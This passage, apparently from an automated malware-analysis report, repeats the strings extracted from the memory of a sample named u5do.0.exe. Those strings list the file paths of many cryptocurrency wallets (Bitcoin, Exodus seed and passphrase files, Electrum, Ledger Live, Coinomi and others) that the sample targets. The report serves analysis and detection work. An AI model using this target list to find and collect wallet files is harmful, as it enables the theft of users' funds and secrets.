Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: Jaxx Liberty
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger 